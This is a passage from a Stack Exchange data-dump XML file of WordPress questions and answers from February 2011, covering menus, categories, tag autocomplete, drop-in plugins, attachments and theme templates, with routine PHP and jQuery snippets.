?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that'd get you the same styles and the 'current' style for the links.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-02-16T22:28:55.460" LastActivityDate="2011-02-16T22:28:55.460" CommentCount="6" />
  <row Id="9548" PostTypeId="2" ParentId="9525" CreationDate="2011-02-16T20:58:26.567" Score="1" ViewCount="" Body="&lt;p&gt;There are two ways. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. Misuse the description&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;code&gt;wp-admin/nav-menus.php&lt;/code&gt;, open the options and enable the description field. Write the image paths into the description field and use a &lt;a href=&quot;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output&quot; rel=&quot;nofollow&quot;&gt;custom walker&lt;/a&gt; to modify the output of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_nav_menu()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. Use a custom post type&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I have written a custom post type &lt;strong&gt;Navigation&lt;/strong&gt; (hierarchical) similar to &lt;em&gt;pages&lt;/em&gt; with a normal editor box, a title field and a meta box for URIs. The client writes his HTML and my code creates a navigation from these entries. Example: &lt;a href=&quot;http://zeitzuleben.de/&quot; rel=&quot;nofollow&quot;&gt;zeitzuleben.de&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add any HTML, images, forms and videos. Really easy to use, but it requires a lot of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add some screenshots from the backend when I'm home again; a plugin is on its way.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-16T20:58:26.567" />
  <row Id="9550" PostTypeId="2" ParentId="9531" CreationDate="2011-02-16T21:12:02.310" Score="0" ViewCount="" Body="&lt;p&gt;My plugin Custom Post Permalinks does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-permalinks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-16T21:12:02.310" CommentCount="4" />
  <row Id="9551" PostTypeId="1" AcceptedAnswerId="9552" CreationDate="2011-02-16T21:13:31.953" Score="0" ViewCount="40" Body="&lt;p&gt;In the administration under Your Profile, which is where I suspect it would be, I can't find anything relating to gravatar&lt;/p&gt;&#xA;" OwnerUserId="2966" LastActivityDate="2011-02-16T21:20:49.617" Title="How do I accesss gravatar?" Tags="&lt;avatar&gt;" AnswerCount="1" />
  <row Id="9552" PostTypeId="2" ParentId="9551" CreationDate="2011-02-16T21:20:49.617" Score="3" ViewCount="" Body="&lt;p&gt;The only place that gravatars are administered in WordPress core (without plugins, that is) is on the discussion settings page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/dOrG5.png&quot; alt=&quot;Avatars&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to access YOUR gravatar, go to &lt;a href=&quot;http://gravatar.com&quot; rel=&quot;nofollow&quot;&gt;http://gravatar.com&lt;/a&gt; and set up your profile. WordPress is set to automatically interface with gravatar using your user's email address to identify you with gravatar.com.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-16T21:20:49.617" />
  <row Id="9553" PostTypeId="2" ParentId="9545" CreationDate="2011-02-16T21:45:55.013" Score="2" ViewCount="" Body="&lt;p&gt;Multisite does not have cross-posting built in. you can do what you want with one of these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/threewp-broadcast/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/threewp-broadcast/&lt;/a&gt;&#xA;http://wordpress.org/extend/plugins/multipost-mu/&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-16T21:45:55.013" />
  <row Id="9554" PostTypeId="1" AcceptedAnswerId="9560" CreationDate="2011-02-16T21:52:46.350" Score="0" ViewCount="212" Body="&lt;p&gt;I have typical parent and child categories setup as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Food&#xA;&lt;ul&gt;&#xA;&lt;li&gt;potatoes&lt;/li&gt;&#xA;&lt;li&gt;corn&lt;/li&gt;&#xA;&lt;li&gt;beats&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Sports&#xA;&lt;ul&gt;&#xA;&lt;li&gt;soccer&lt;/li&gt;&#xA;&lt;li&gt;football&lt;/li&gt;&#xA;&lt;li&gt;hockey&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my index.php template I'd like to list the categories of the specific post. The problem is, when I use the_category() it lists the parent categories twice. I'm using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;php echo '&amp;lt;dt&amp;gt;', the_category(', ', 'multiple'), '&amp;lt;/dt&amp;gt;', &quot;\n&quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it prints out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Food:corn, Food, Food:potatoes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it is listing the child category &quot;corn&quot; as &quot;Food: corn&quot; followed by the parent category &quot;Food&quot; just as &quot;Food.&quot; Is there a way to exclude the parent categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I'd like it to read is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Food:corn, Food:potatoes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3230" LastActivityDate="2011-02-17T01:57:23.910" Title="Exclude parent categories from the_category() within the loop" Tags="&lt;theme-development&gt;&lt;categories&gt;&lt;the-loop&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="9555" PostTypeId="2" ParentId="9545" CreationDate="2011-02-16T22:39:08.847" Score="0" ViewCount="" Body="&lt;p&gt;When you have a hosting company that doesn't support dynamic subdomains, there is a &lt;a href=&quot;http://keithjameslock.com/wordpress-mu-with-subdomains-godaddy-shared-hosting/&quot; rel=&quot;nofollow&quot;&gt;workaround&lt;/a&gt;.  Just create the subdomain with your hosting pointing towards the main folder of your primary WP blog and WP takes care of the redirecting.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-02-16T22:39:08.847" />
  <row Id="9557" PostTypeId="1" AcceptedAnswerId="9563" CreationDate="2011-02-16T22:50:21.420" Score="0" ViewCount="168" Body="&lt;p&gt;How can I load regular post tags as values for autocomplete field? What I have now is pretermined values like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var data = {items: [&#xA;{value: &quot;1&quot;, name: &quot;Siemens&quot;},&#xA;{value: &quot;2&quot;, name: &quot;Phillips&quot;},&#xA;{value: &quot;3&quot;, name: &quot;Whirlpool&quot;},&#xA;{value: &quot;4&quot;, name: &quot;LG&quot;}&#xA;};&#xA;$(&quot;#input_1_3&quot;).autoSuggest(data.items, {selectedItemProp: &quot;name&quot;, searchObjProps: &quot;name&quot;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Drew Wilson's Autocomplete plugin found at: &lt;a href=&quot;http://code.drewwilson.com/entry/autosuggest-jquery-plugin&quot; rel=&quot;nofollow&quot;&gt;http://code.drewwilson.com/entry/autosuggest-jquery-plugin&lt;/a&gt;. Any help would be most apreciated.&lt;/p&gt;&#xA;" OwnerUserId="3232" LastActivityDate="2011-02-17T00:38:39.353" Title="Tags as autocomplete values" Tags="&lt;tags&gt;&lt;autocomplete&gt;" AnswerCount="1" />
  <row Id="9558" PostTypeId="1" CreationDate="2011-02-16T23:02:39.177" Score="1" ViewCount="83" Body="&lt;p&gt;Most plugins that are installed into /wp-content/plugins need to be activated. However, it seems that if you drop scripts directly into /wp-content (object-cache.php comes to mind) they are activated automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this?&lt;/p&gt;&#xA;" OwnerUserId="2840" LastActivityDate="2011-02-17T13:38:48.647" Title="How do plugins get executed automatically from wp-content?" Tags="&lt;plugins&gt;" AnswerCount="3" />
  <row Id="9559" PostTypeId="2" ParentId="9558" CreationDate="2011-02-16T23:38:31.907" Score="1" ViewCount="" Body="&lt;p&gt;I know, myself, using a multi site Wordpress install, plugins dropped into the mu-plugins folder (wp-content/mu-plugins/) are activated automatically.  In this case mu representing must use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am not 100% positive if this is dependent upon the type of install a single site blog install or multi site/network install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found an article outlining most of the information about mu and drop in plugins that I know &lt;a href=&quot;http://hakre.wordpress.com/2010/05/01/must-use-and-drop-ins-plugins/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you are looking specifically for how these plugins are loaded I opened up /wp-admin/includes/plugin.php and found get_mu_plugins() on line 279.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditorDisplayName="" LastEditDate="2011-02-16T23:54:04.687" LastActivityDate="2011-02-16T23:54:04.687" CommentCount="1" />
  <row Id="9560" PostTypeId="2" ParentId="9554" CreationDate="2011-02-17T00:07:18.387" Score="1" ViewCount="" Body="&lt;p&gt;Have you tagged the post in Food, Food:Corn, and Food:potatoes? Try categorizing it in Food:corn and Food:potatoes only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not believe that there is a means to exclude categories from the_category() function.  You will have to use another function to create a custom query to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_category#Related&quot; rel=&quot;nofollow&quot;&gt;Try some of these&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditorDisplayName="" LastEditDate="2011-02-17T01:57:23.910" LastActivityDate="2011-02-17T01:57:23.910" />
  <row Id="9561" PostTypeId="1" CreationDate="2011-02-17T00:23:28.467" Score="1" ViewCount="696" Body="&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; null,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;);&#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ($attachments as $attachment) {&#xA;        echo apply_filters('the_title', $attachment-&amp;gt;post_title);&#xA;        the_attachment_link($attachment-&amp;gt;ID, false);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the code above, theres exist a way to get:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;All attachments links except featured image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All PDF attachments links only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.wprecipes.com/how-to-show-wordpress-post-attachments&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com/how-to-show-wordpress-post-attachments&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://johnford.is/programmatically-pull-attachments-from-wordpress-posts/&quot; rel=&quot;nofollow&quot;&gt;http://johnford.is/programmatically-pull-attachments-from-wordpress-posts/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-02-17T00:37:06.617" LastActivityDate="2011-06-28T15:42:22.137" Title="Get all post attachments except featured image" Tags="&lt;attachments&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9562" PostTypeId="1" CreationDate="2011-02-17T00:29:00.787" Score="0" ViewCount="177" Body="&lt;p&gt;I would like to know how can I display a multilevel custom taxonomy menu that expands depending of the current parent / children taxonomy that is selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-------------------  &#xA;Taxonomy navigation  &#xA;- taxonomy 1  &#xA;- taxonomy 2  &#xA;- taxonomy 3    &#xA;------------------- &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click the &quot;taxonomy 1&quot; link, the page of that taxonomy loads and the &quot;Taxonomy navigation&quot; list now also shows the children taxonomies of taxonomy 1 which becomes bold:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-------------------&#xA;Taxonomy navigation&#xA;- **taxonomy 1** [selected]&#xA;-- taxonomy 1.1&#xA;-- taxonomy 1.2&#xA;-- taxonomy 1.3&#xA;- taxonomy 2&#xA;- taxonomy 3&#xA;-------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, when I click on &quot;taxonomy 1.1&quot; it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-------------------&#xA;Taxonomy navigation&#xA;- taxonomy 1&#xA;-- **taxonomy 1.1** [selected]&#xA;-- taxonomy 1.2&#xA;-- taxonomy 1.3&#xA;- taxonomy 2&#xA;- taxonomy 3&#xA;-------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it should work as a hierarchical menu and display the active state of the current taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played a little with the code and here is what I come up with. Now the categories (taxonomies) show in a hierarchic way but the list only shows up in the post page and index page. In the archive page it outputs &quot;no category&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$taxonomy     = 'mytaxonomy';&#xA;$orderby      = 'id';&#xA;$show_count   = 1;      // 1 for yes, 0 for no&#xA;$pad_counts   = 0;      // 1 for yes, 0 for no&#xA;$hierarchical = 1;      // 1 for yes, 0 for no&#xA;$title        = '';&#xA;$current_tax = get_query_var('mytaxonomy');&#xA;$hide_empty = 0;&#xA;&#xA;$args = array(&#xA;  'taxonomy'     =&amp;gt; $taxonomy,&#xA;  'orderby'      =&amp;gt; $orderby,&#xA;  'show_count'   =&amp;gt; $show_count,&#xA;  'pad_counts'   =&amp;gt; $pad_counts,&#xA;  'hierarchical' =&amp;gt; $hierarchical,&#xA;  'title_li'     =&amp;gt; $title,&#xA;  'child_of'  =&amp;gt; $current_tax,&#xA; 'hide_empty'  =&amp;gt; $hide_empty,&#xA;'current_category'   =&amp;gt; 0&#xA;);&#xA;?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php wp_list_categories( $args ); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3235" LastEditorUserId="3235" LastEditorDisplayName="" LastEditDate="2011-02-17T05:12:32.167" LastActivityDate="2011-02-17T05:12:32.167" Title="Multi-level taxonomy navigation" Tags="&lt;custom-taxonomy&gt;&lt;navigation&gt;&lt;hierarchical&gt;&lt;list&gt;&lt;menus&gt;" />
  <row Id="9563" PostTypeId="2" ParentId="9557" CreationDate="2011-02-17T00:38:39.353" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if(isset($_GET['get_tags'])):&#xA;  $output = array();&#xA;  foreach(get_terms('post_tag') as $key =&amp;gt; $term):&#xA;    // filter by $_GET['q'] here if you need to,&#xA;    // for eg. if(strpos($term-&amp;gt;name, $_GET['q']) !== false)...&#xA;    $output[$key]['value'] = $key;&#xA;    $output[$key]['name'] = $term-&amp;gt;name;&#xA;  endforeach;&#xA;&#xA;  header(&quot;Content-type: application/json&quot;);&#xA;  echo json_encode($output);&#xA;  die();&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this case your js would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#input_1_3&quot;).autoSuggest(&#xA;    &quot;http://yoursite.com/?get_tags=1&quot;,&#xA;    {selectedItemProp: &quot;name&quot;, searchObjProps: &quot;name&quot;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-02-17T00:38:39.353" CommentCount="10" />
  <row Id="9564" PostTypeId="1" AcceptedAnswerId="9571" CreationDate="2011-02-17T00:45:57.910" Score="0" ViewCount="240" Body="&lt;p&gt;What is the best way to strip *the_content* of html tags and needless spaces on the front end? I'm building a special use theme that needs to allow users who can edit_post to make changes on the front end, but I only want this text area to support plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( !current_user_can( 'edit_post', $post_ID ) ) : the_content('Read more on &quot;'.the_title('', '', false).'&quot; &amp;amp;raquo;'); else: ?&amp;gt;&#xA;        &amp;lt;textarea class=&quot;grid_22&quot;&amp;gt;&#xA;                &amp;lt;?php the_content('Read more on &quot;'.the_title('', '', false).'&quot; &amp;amp;raquo;'); ?&amp;gt;&#xA;        &amp;lt;/textarea&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produces this:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/muQWg.png&quot; alt=&quot;the_content wrapped in a textarea tag&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it look like normal text? Users who edit copy on the front end will not use the backend WYSIWYG editor so I don't have to worry about formats being over written.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-02-17T02:55:08.550" Title="Best way to strip the_content of html on the front end?" Tags="&lt;editor&gt;&lt;front-end&gt;&lt;the-content&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9565" PostTypeId="2" ParentId="9558" CreationDate="2011-02-17T00:47:43.073" Score="1" ViewCount="" Body="&lt;p&gt;If WP_CACHE is set it expects in the wp-content folder the cache php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to disable the WordPress cache is to define another cache, also in the wp-content folder, called object-cache.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;found google at the top: &lt;a href=&quot;http://funcdoc.wordpress.com/2008/01/30/replacing-wordpress-object-caching/&quot; rel=&quot;nofollow&quot;&gt;http://funcdoc.wordpress.com/2008/01/30/replacing-wordpress-object-caching/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So answer: no (almost) no plugins get executed from wp-content. to execute them automatically see the other answer on the drop ins.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-02-17T00:52:53.957" LastActivityDate="2011-02-17T00:52:53.957" />
  <row Id="9566" PostTypeId="2" ParentId="9564" CreationDate="2011-02-17T00:50:19.560" Score="1" ViewCount="" Body="&lt;p&gt;The HTML tag &quot;textarea&quot; .... takes into account spaces.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.: &lt;a href=&quot;http://stackoverflow.com/questions/2202999/why-is-textarea-filled-with-mysterious-white-spaces&quot;&gt;http://stackoverflow.com/questions/2202999/why-is-textarea-filled-with-mysterious-white-spaces&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-02-17T00:50:19.560" CommentCount="1" />
  <row Id="9567" PostTypeId="2" ParentId="9561" CreationDate="2011-02-17T01:27:56.667" Score="3" ViewCount="" Body="&lt;p&gt;For the first one, you can add &lt;code&gt;'exclude' =&amp;gt; get_post_thumbnail_id()&lt;/code&gt; as a parameter (as shown &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_post_thumbnail_id&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second one, you can add &lt;code&gt;'post_mime_type' =&amp;gt; 'application/pdf'&lt;/code&gt;, but I'm not sure that would always work, afaik, pdfs have more than one mime type.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2011-02-17T01:27:56.667" />
  <row Id="9568" PostTypeId="2" ParentId="9545" CreationDate="2011-02-17T02:24:51.593" Score="0" ViewCount="" Body="&lt;p&gt;I have a similar situation that I'm working on with re: to WordPress, Multisite and both a US &amp;amp; UK versions.  The wildcard, in my case, is that several key players in the project feel that it would be better to host the UK site in the UK and the US site here in the US....for SEO reasons.  I did some reading up and it seems that this might be a good idea....other than that I'll need to find a way to syndicate/re-post some of the UK blog entries over to the US site.  Anyway...has I didn't really provide you with an answer...but I'm right there with you...trying to determine if a Multisite install made sense or not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you considered splitting the sites up geographically?&lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2011-02-17T02:24:51.593" />
  <row Id="9569" PostTypeId="2" ParentId="9536" CreationDate="2011-02-17T02:33:47.433" Score="0" ViewCount="" Body="&lt;p&gt;I'd take a look at one of these plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-fields/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Custom Field Templates (CFT) on almost every project I do, specifically so that I can assign (better looking) Custom Fields to my defined Custom Post Types.  There's a number of tutorials around the web on how to get data back out of WP once its been stored as a Custom Field...these plugins just make it prettier/easier on the administrative side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps... &lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2011-02-17T02:33:47.433" CommentCount="1" />
  <row Id="9570" PostTypeId="2" ParentId="9505" CreationDate="2011-02-17T02:40:15.853" Score="0" ViewCount="" Body="&lt;p&gt;If you dont mind using a plugin instead of hard-code try using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/adminimize/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it for all the sites I create to customize what the different roles see, it gives you alot of options and not just on the menus.&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-02-17T02:40:15.853" />
  <row Id="9571" PostTypeId="2" ParentId="9564" CreationDate="2011-02-17T02:55:08.550" Score="0" ViewCount="" Body="&lt;p&gt;You will have to worry about formats beeing over written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. ____Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua._____ At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ends up with having the part between the &quot;_&quot; over written. Even if you edit it as plain text, you will loose the closing and opening paragraph, so two paragraphs become only one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else you asked for can be done with filters on the_content or get_the_content (please take a look at the codex for further explanation). You'll need to use str_replace or preg_replace (native php functions, please see php.net for explanation) inside those filters.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-17T02:55:08.550" CommentCount="4" />
  <row Id="9572" PostTypeId="2" ParentId="9536" CreationDate="2011-02-17T02:58:32.977" Score="0" ViewCount="" Body="&lt;p&gt;Forget plugins, load the &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox-data-storage-modes/&quot; rel=&quot;nofollow&quot;&gt;WP Alchemy Class&lt;/a&gt; straight from your functions.php file. It can't get easier than that.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-17T02:58:32.977" />
  <row Id="9573" PostTypeId="1" AcceptedAnswerId="9595" CreationDate="2011-02-17T03:18:17.267" Score="0" ViewCount="180" Body="&lt;p&gt;Let's say I have a single.php file with a certain layout (graphic intensive).  I want to create a sort of plain-text version of the same page that is only called when the user clicks the provided link.  I can create single-plaintxt.php but how would I go about generating a link and/or function that would only load the page contents using that file when clicked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-04-26T07:35:09.033" Title="Load post with a different template?" Tags="&lt;functions&gt;&lt;template&gt;&lt;text&gt;" AnswerCount="2" />
  <row Id="9574" PostTypeId="1" CreationDate="2011-02-17T03:23:57.983" Score="0" ViewCount="113" Body="&lt;p&gt;I want to re-order the post 'Make Enquiry' on my site &lt;a href=&quot;http://ecentriconline.com/surferbeachfront/&quot; rel=&quot;nofollow&quot;&gt;http://ecentriconline.com/surferbeachfront/&lt;/a&gt; so it appears last. Please suggest a way to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="3106" LastEditorUserId="2606" LastEditorDisplayName="" LastEditDate="2011-02-17T13:14:15.190" LastActivityDate="2011-05-13T13:16:52.880" Title="post re-order on my site" Tags="&lt;posts&gt;&lt;3.0.1&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9575" PostTypeId="1" AcceptedAnswerId="9592" CreationDate="2011-02-17T03:49:24.313" Score="0" ViewCount="255" Body="&lt;p&gt;In the script below, the post__not_in argument does not appear to be working unless I hardcode the post ids inside the array(). Anything stand out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an item is in the category, but also in the post__not_in, what get's precedent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_option('sticky_posts') is a single item array with var_dump = array(1) { [0]=&gt; int(6) }&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myposts = get_posts(&#xA;                    array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;, &#xA;                        'post__not_in' =&amp;gt; array($post-&amp;gt;ID, get_option('sticky_posts')), &#xA;                        'numberposts' =&amp;gt; 10;&#xA;                        )&#xA;                    );&#xA;            foreach($myposts as $idx=&amp;gt;$post){//do something}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-17T09:37:46.970" Title="What's wrong with this post__not_in argument?" Tags="&lt;plugin-development&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="9576" PostTypeId="1" CreationDate="2011-02-17T04:21:37.420" Score="2" ViewCount="636" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Projects&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php get_header();?&amp;gt;&#xA;&#xA;    &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;section id=&quot;main&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                $loop = new WP_Query(array('post_type' =&amp;gt; 'projects', 'posts_per_page' =&amp;gt; 4));&#xA;                $i=1;&#xA;                while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;article class=&quot;post&amp;lt;?php if($i%2 == 0) { echo ' right'; }; $i++; ?&amp;gt;&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;section class=&quot;entry&quot;&amp;gt;&#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;                endwhile;&#xA;                wp_pagenavi();&#xA;            ?&amp;gt;&#xA;&#xA;            